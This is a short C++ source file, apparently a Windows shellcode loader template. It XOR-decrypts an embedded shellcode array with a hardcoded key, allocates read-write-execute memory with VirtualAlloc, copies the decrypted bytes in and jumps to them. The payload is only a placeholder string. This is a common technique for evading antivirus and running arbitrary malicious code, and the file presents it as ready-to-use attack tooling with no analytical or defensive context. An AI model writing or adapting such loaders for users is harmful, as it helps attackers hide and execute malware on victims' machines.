1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| #include <windows.h> #include <iostream> int main(int argc, char** argv) { char encryptedShellcode[] = "encryptedShellcode"; char key[] = "L1ang"; char cipherType[] = "xor"; char shellcode[sizeof encryptedShellcode]; int j = 0; for (int i = 0; i < sizeof encryptedShellcode; i++) { if (j == sizeof key - 1) j = 0; shellcode[i] = encryptedShellcode[i] ^ key[j]; j++; } void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, sizeof shellcode); ((void(*)())exec)(); }
|